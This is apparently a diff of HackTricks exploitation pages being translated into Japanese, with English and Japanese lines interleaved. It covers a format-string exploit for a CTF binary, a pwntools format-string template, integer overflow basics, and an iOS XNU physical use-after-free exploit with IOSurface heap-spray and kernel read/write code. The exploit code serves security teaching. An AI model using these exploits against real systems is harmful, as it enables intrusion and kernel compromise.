<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: 次は、2つ目のフォーマット文字列の脆弱性からアクセスするために、スタック内の1つのアドレスを制御する方法を見つける時です
```python ```python
from pwn import * from pwn import *
def leak_heap(p): def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p") p.sendlineafter(b"first password:", b"%5$p")
p.recvline() p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16) return int(response, 16)
for i in range(30): for i in range(30):
p = process("./fs-read") p = process("./fs-read")
heap_leak_addr = leak_heap(p) heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}") print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}") print(f"Try: {i}")
payload = f"%{i}$p|||".encode() payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA" payload += b"AAAAAAAA"
p.sendline(payload) p.sendline(payload)
output = p.clean() output = p.clean()
print(output.decode("utf-8")) print(output.decode("utf-8"))
p.close() p.close()
``` ```
そして、使用されたパッシングで**try 14**においてアドレスを制御できることがわかります:
And it's possible to see that in the **try 14** with the used passing we can control an address:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit ### エクスプロイト
```python ```python
from pwn import * from pwn import *
p = process("./fs-read") p = process("./fs-read")
def leak_heap(p): def leak_heap(p):
# At offset 25 there is a heap leak # At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p") p.sendlineafter(b"first password:", b"%25$p")
p.recvline() p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16) return int(response, 16)
heap_leak_addr = leak_heap(p) heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}") print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output) print(output)
p.close() p.close()
``` ```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template # フォーマット文字列テンプレート
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary(): def connect_binary():
global P, ELF_LOADED, ROP_LOADED global P, ELF_LOADED, ROP_LOADED
if LOCAL: if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP: elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH: elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets ROP_LOADED = ROP(elf)# Find ROP gadgets
####################################### #######################################
@ -60,39 +59,39 @@ def connect_binary():
####################################### #######################################
def send_payload(payload): def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload)) log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload) P.sendline(payload)
sleep(0.5) sleep(0.5)
return P.recv() return P.recv()
def get_formatstring_config(): def get_formatstring_config():
global P global P
for offset in range(1,1000): for offset in range(1,1000):
connect_binary() connect_binary()
P.clean() P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip() recieved = send_payload(payload).strip()
if b"41" in recieved: if b"41" in recieved:
for padlen in range(0,4): for padlen in range(0,4):
if b"41414141" in recieved: if b"41414141" in recieved:
connect_binary() connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip() recieved = send_payload(payload).strip()
print(recieved) print(recieved)
if b"42424242" in recieved: if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})") log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen return offset, padlen
else: else:
connect_binary() connect_binary()
payload = b" " + payload payload = b" " + payload
recieved = send_payload(payload).strip() recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload # In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary() connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH: if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue # attach gdb and continue
# You can set breakpoints, for example "break *main" # You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5) sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive() P.interactive()
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,123 +1,115 @@
# Integer Overflow # 整数オーバーフロー
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. **整数オーバーフロー**の核心は、コンピュータプログラミングにおけるデータ型の**サイズ**によって課せられる制限とデータの**解釈**です。
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. 例えば、**8ビット符号なし整数**は**0から255**までの値を表すことができます。8ビット符号なし整数に256の値を格納しようとすると、そのストレージ容量の制限により0にラップアラウンドします。同様に、**16ビット符号なし整数**は**0から65,535**までの値を保持でき、65,535に1を加えると値は0に戻ります。
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). さらに、**8ビット符号付き整数**は**-128から127**までの値を表すことができます。これは、1ビットが符号正または負を表すために使用され、残りの7ビットが大きさを表すために使われるからです。最も負の数は**-128**(バイナリ `10000000`)として表され、最も正の数は**127**(バイナリ `01111111`)です。
### Max values ### 最大値
For potential **web vulnerabilities** it's very interesting to know the maximum supported values: 潜在的な**ウェブ脆弱性**にとって、最大サポート値を知ることは非常に興味深いです:
{{#tabs}} {{#tabs}}
{{#tab name="Rust"}} {{#tab name="Rust"}}
```rust ```rust
fn main() { fn main() {
let mut quantity = 2147483647; let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity); let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity); let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result); println!("{}", mul_result);
println!("{}", add_result); println!("{}", add_result);
} }
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="C"}} {{#tab name="C"}}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <limits.h> #include <limits.h>
int main() { int main() {
int a = INT_MAX; int a = INT_MAX;
int b = 0; int b = 0;
int c = 0; int c = 0;
b = a * 100; b = a * 100;
c = a + 1; c = a + 1;
printf("%d\n", INT_MAX); printf("%d\n", INT_MAX);
printf("%d\n", b); printf("%d\n", b);
printf("%d\n", c); printf("%d\n", c);
return 0; return 0;
} }
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
## Examples ##
### Pure overflow ### 純粋なオーバーフロー
The printed result will be 0 as we overflowed the char:
印刷された結果は0になります。なぜなら、charがオーバーフローしたからです
```c ```c
#include <stdio.h> #include <stdio.h>
int main() { int main() {
unsigned char max = 255; // 8-bit unsigned integer unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1; unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow printf("Result: %d\n", result); // Expected to overflow
return 0; return 0;
} }
``` ```
### Signed to Unsigned Conversion ### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: ユーザー入力から符号付き整数が読み取られ、その後適切な検証なしに符号なし整数として扱われる状況を考えてみてください:
```c ```c
#include <stdio.h> #include <stdio.h>
int main() { int main() {
int userInput; // Signed integer int userInput; // Signed integer
printf("Enter a number: "); printf("Enter a number: ");
scanf("%d", &userInput); scanf("%d", &userInput);
// Treating the signed input as unsigned without validation // Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput; unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative // A condition that might not work as intended if userInput is negative
if (processedInput > 1000) { if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput); printf("Processed Input is large: %u\n", processedInput);
} else { } else {
printf("Processed Input is within range: %u\n", processedInput); printf("Processed Input is within range: %u\n", processedInput);
} }
return 0; return 0;
} }
``` ```
この例では、ユーザーが負の数を入力すると、バイナリ値の解釈方法により、大きな符号なし整数として解釈され、予期しない動作を引き起こす可能性があります。
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. ### その他の例
### Other Examples
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection - パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、長さチェック保護を回避します。
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20; - 数値の組み合わせを与えられた場合、z3を使用して最初の数値と掛け算して2番目の数値を得る新しい数値を見つけます:&#x20;
``` ```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
``` ```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections - パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、スタック内の次のローカル変数を上書きし、両方の保護を回避します。
## ARM64 ## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). この**ARM64では変わりません**。 [**このブログ記事**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)で見ることができます。
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,211 +2,202 @@
## Physical use-after-free ## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) これは[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)の投稿からの要約であり、この技術を使用したエクスプロイトに関するさらなる情報は[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)で見つけることができます。
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a> ### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0から0x8000000000**まで広がっています。しかし、これらのアドレスは物理メモリに直接マッピングされているわけではありません。代わりに、**カーネル**は**ページテーブル**を使用して仮想アドレスを実際の**物理アドレス**に変換します。
#### Levels of Page Tables in iOS #### Levels of Page Tables in iOS
Page tables are organized hierarchically in three levels: ページテーブルは3つのレベルで階層的に整理されています
1. **L1 Page Table (Level 1)**: 1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory. * ここにある各エントリは、大きな範囲の仮想メモリを表します。
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. * **0x1000000000バイト**(または**256 GB**)の仮想メモリをカバーします。
2. **L2 Page Table (Level 2)**: 2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). * ここにあるエントリは、特に**0x2000000バイト**32 MBの小さな仮想メモリ領域を表します。
* An L1 entry may point to an L2 table if it can't map the entire region itself. * L1エントリは、全体の領域を自分でマッピングできない場合、L2テーブルを指すことがあります。
3. **L3 Page Table (Level 3)**: 3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page. * これは最も細かいレベルで、各エントリは単一の**4 KB**メモリページをマッピングします。
* An L2 entry may point to an L3 table if more granular control is needed. * より細かい制御が必要な場合、L2エントリはL3テーブルを指すことがあります。
#### Mapping Virtual to Physical Memory #### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**: * **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). * ページテーブルの一部のエントリは、仮想アドレスの範囲を連続した物理アドレスの範囲に直接**マッピング**します(ショートカットのように)。
* **Pointer to Child Page Table**: * **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). * より細かい制御が必要な場合、あるレベルのエントリL1は次のレベルの**子ページテーブル**を指すことができますL2
#### Example: Mapping a Virtual Address #### Example: Mapping a Virtual Address
Lets say you try to access the virtual address **0x1000000000**: 仮に仮想アドレス**0x1000000000**にアクセスしようとするとします:
1. **L1 Table**: 1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. * カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もし**L2ページテーブルへのポインタ**があれば、そのL2テーブルに進みます。
2. **L2 Table**: 2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. * カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指している場合、そこに進みます。
3. **L3 Table**: 3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. * カーネルは最終的なL3エントリを調べ、実際のメモリページの**物理アドレス**を指します。
#### Example of Address Mapping #### Example of Address Mapping
If you write the physical address **0x800004000** into the first index of the L2 table, then: 物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと、次のようになります
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. * 仮想アドレス**0x1000000000**から**0x1002000000**は、物理アドレス**0x800004000**から**0x802004000**にマッピングされます。
* This is a **block mapping** at the L2 level. * これはL2レベルでの**ブロックマッピング**です。
Alternatively, if the L2 entry points to an L3 table: また、L2エントリがL3テーブルを指している場合
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. * 仮想アドレス範囲**0x1000000000 -> 0x1002000000**の各4 KBページは、L3テーブルの個別のエントリによってマッピングされます。
### Physical use-after-free ### Physical use-after-free
A **physical use-after-free** (UAF) occurs when: **物理的なuse-after-free**UAFは、次のような場合に発生します
1. A process **allocates** some memory as **readable and writable**. 1. プロセスが**読み取り可能かつ書き込み可能**なメモリを**割り当て**ます。
2. The **page tables** are updated to map this memory to a specific physical address that the process can access. 2. **ページテーブル**がこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。
3. The process **deallocates** (frees) the memory. 3. プロセスがメモリを**解放**(フリー)します。
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. 4. しかし、**バグ**のために、カーネルはページテーブルからマッピングを**削除するのを忘れ**、対応する物理メモリをフリーとしてマークします。
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. 5. カーネルはその後、この「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory. 6. マッピングが削除されなかったため、プロセスはこの物理メモリに**読み書き**を続けることができます。
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. これは、プロセスが**カーネルメモリのページ**にアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者が**カーネルメモリを操作**できる可能性があります。
### Exploitation Strategy: Heap Spray ### Exploitation Strategy: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: 攻撃者は解放されたメモリにどの特定のカーネルページが割り当てられるかを制御できないため、**ヒープスプレー**と呼ばれる技術を使用します:
1. The attacker **creates a large number of IOSurface objects** in kernel memory. 1. 攻撃者はカーネルメモリに**多数のIOSurfaceオブジェクト**を作成します。
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. 2. 各IOSurfaceオブジェクトには、そのフィールドの1つに**マジックバリュー**が含まれており、識別が容易です。
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. 3. 攻撃者は**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. 4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用して**カーネルメモリを読み書き**できます。
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) この詳細については[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)を参照してください。
### Step-by-Step Heap Spray Process ### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). 1. **Spray IOSurface Objects**: 攻撃者は特別な識別子「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを作成します。
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. 2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: 3. **Read/Write Kernel Memory**: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で**任意の読み取りと書き込み**を行う能力を得ます。これにより、彼らは:
* Use one field to **read any 32-bit value** in kernel memory. * 1つのフィールドを使用してカーネルメモリ内の**任意の32ビット値**を**読み取る**ことができます。
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. * 別のフィールドを使用して**64ビット値を書き込む**ことができ、安定した**カーネルの読み書きプリミティブ**を実現します。
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します
```c ```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return; if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) { for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args; fast_create_args_t args;
lock_result_t result; lock_result_t result;
size_t size = IOSurfaceLockResultSize; size_t size = IOSurfaceLockResultSize;
args.address = 0; args.address = 0;
args.alloc_size = *nClients + 1; args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC; args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id; io_connect_t id = result.surface_id;
(*clients)[*nClients] = id; (*clients)[*nClients] = id;
*nClients = (*nClients) += 1; *nClients = (*nClients) += 1;
} }
} }
``` ```
解放された物理ページ内の**`IOSurface`**オブジェクトを検索します:
Search for **`IOSurface`** objects in one freed physical page:
```c ```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0; int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) { for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) { for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j]; uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16); uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) { for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k; info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k); if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone; goto sprayDone;
} }
} }
} }
} }
sprayDone: sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) { for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue; if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]); iosurface_release(client, surfaceIDs[i]);
} }
free(surfaceIDs); free(surfaceIDs);
return 0; return 0;
} }
``` ```
### IOSurfaceを使用したカーネルの読み書きの実現
### Achieving Kernel Read/Write with IOSurface カーネルメモリ内のIOSurfaceオブジェクトを制御できるようになるとユーザースペースからアクセス可能な解放された物理ページにマッピングされている、**任意のカーネルの読み書き操作**に使用できます。
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. **IOSurfaceの重要なフィールド**
**Key Fields in IOSurface** IOSurfaceオブジェクトには2つの重要なフィールドがあります
The IOSurface object has two crucial fields: 1. **使用カウントポインタ****32ビットの読み取り**を許可します。
2. **インデックス付きタイムスタンプポインタ****64ビットの書き込み**を許可します。
1. **Use Count Pointer**: Allows a **32-bit read**. これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスにリダイレクトし、読み書き機能を有効にします。
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. #### 32ビットカーネル読み取り
#### 32-Bit Kernel Read 読み取りを行うには:
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
1. **使用カウントポインタ**をターゲットアドレスから0x14バイトオフセットを引いた位置にポイントするように上書きします。
2. `get_use_count`メソッドを使用して、そのアドレスの値を読み取ります。
```c ```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID}; uint64_t args[1] = {surfaceID};
uint32_t size = 1; uint32_t size = 1;
uint64_t out = 0; uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out; return (uint32_t)out;
} }
uint32_t iosurface_kread32(uint64_t addr) { uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object); uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface); uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig); iosurface_set_use_count_pointer(info.object, orig);
return value; return value;
} }
``` ```
#### 64ビットカーネル書き込み
#### 64-Bit Kernel Write 書き込みを行うには:
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
1. **インデックス付きタイムスタンプポインタ**をターゲットアドレスに上書きします。
2. `set_indexed_timestamp`メソッドを使用して64ビット値を書き込みます。
```c ```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value}; uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
} }
void iosurface_kwrite64(uint64_t addr, uint64_t value) { void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr); iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value); set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig); iosurface_set_indexed_timestamp_pointer(info.object, orig);
} }
``` ```
#### エクスプロイトフローの再確認
#### Exploit Flow Recap 1. **物理的なUse-After-Freeをトリガー**: 解放されたページは再利用可能です。
2. **IOSurfaceオブジェクトをスプレー**: カーネルメモリにユニークな「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを割り当てます。
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. 3. **アクセス可能なIOSurfaceを特定**: 制御している解放されたページ上のIOSurfaceを見つけます。
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. 4. **Use-After-Freeを悪用**: IOSurfaceオブジェクト内のポインタを変更して、IOSurfaceメソッドを介して任意の**カーネルの読み書き**を可能にします。
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
